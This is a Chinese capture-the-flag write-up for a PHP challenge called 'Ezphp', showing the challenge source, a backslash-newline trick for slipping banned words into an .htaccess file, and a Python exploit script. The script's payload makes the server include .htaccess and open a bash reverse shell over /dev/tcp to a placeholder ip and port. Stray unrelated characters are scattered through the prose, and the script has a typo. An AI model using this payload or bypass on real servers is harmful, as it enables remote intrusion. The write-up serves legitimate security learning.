這次不是滑水怀浆,是被難住了恬叹,時(shí)間都花在了Ezphp上腹躁,簡(jiǎn)單紀(jì)錄一下
首先貼一下題目源碼:
#index.php
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
題目的邏輯很簡(jiǎn)單退个,訪問的時(shí)候清除該目錄下除了index.php文件以外的所有文件募壕,主要就是兩個(gè)正則,而且只有一次寫的機(jī)會(huì)语盈,因?yàn)橄胍诙螌懙脑挷障冢蜁?huì)把第一次寫的東西給清了
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
文件名限制了只能是[a-z]和‘.’,而且題目環(huán)境設(shè)置了只有index.php文件解析刀荒,其他php文件不解析代嗤,本來想著繞過這個(gè)正則建立一個(gè)fl3g.php,用條件競(jìng)爭(zhēng)來文件包含缠借,奈何文件名的正則繞不過去干毅,那就只能考慮繞content的正則了,只要關(guān)鍵字不被匹配到就能過泼返,所以思路就是把關(guān)鍵字拆開硝逢,而且新建的php文件都不解析,所以首先想到的就是寫一個(gè).htaccess文件绅喉。
寫.Htaccess文件的困難主要在于過濾了file,on,type之類的渠鸽,而且文件后追加了\nJust one chance,沒有辦法注釋的話柴罐,htaccess文件會(huì)出錯(cuò)徽缚,所以所有的功夫都用在繞過這兩個(gè)點(diǎn)上。
參考:https://blog.csdn.net/cool_flag/article/details/78980097
利用添加 \ 的方法來?yè)Q行書寫革屠,利用這種方法來處理過濾的關(guān)鍵字凿试,輸出的代碼恰好會(huì)有不可見字符排宰,正則匹配的時(shí)候是分開的,而邏輯上又是一行拼接在一起的一個(gè)完整的關(guān)鍵字红省,所以可以繞過過濾,例如file可以通過如下方式繞過
Fi\
Le
這樣就可以繞過content的內(nèi)容限制国觉,而對(duì)于\nJust one chance也是利用同樣的繞過方法吧恃,在內(nèi)容末尾加上#\來注釋后面的內(nèi)容。只有一次寫的機(jī)會(huì)自然不能用AddType application/x-httpd-php .xxx的方式麻诀,這樣需要再寫一個(gè)文件進(jìn)去痕寓。
參考文章:https://bbs.pediy.com/thread-222907.htm,將代碼寫在htaccess文件里蝇闭,利用php_value auto_prepend_file .htaccess讓php文件包含htaccess文件呻率,htaccess里的代碼會(huì)執(zhí)行,所以直接用反彈shell的方式簡(jiǎn)單粗暴一些呻引,可以以利用404礼仗、403等頁(yè)面來觸發(fā)。
import requests
url = 'http://02cdf9ef40d440d1bd0ba727da4b348c21ce0e526eea4fad.changame.ichunqiu.com/'
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/ip/port 0<%261"\');?>\\'
url2 = url + payload
r = requests.get(url2)
req = request.get(url)
vpss上監(jiān)聽一個(gè)端口逻悠,跑下腳本就可以收到反彈回來的shell元践,接下來找flag就好了,沒想到的是竟然放在/root/下......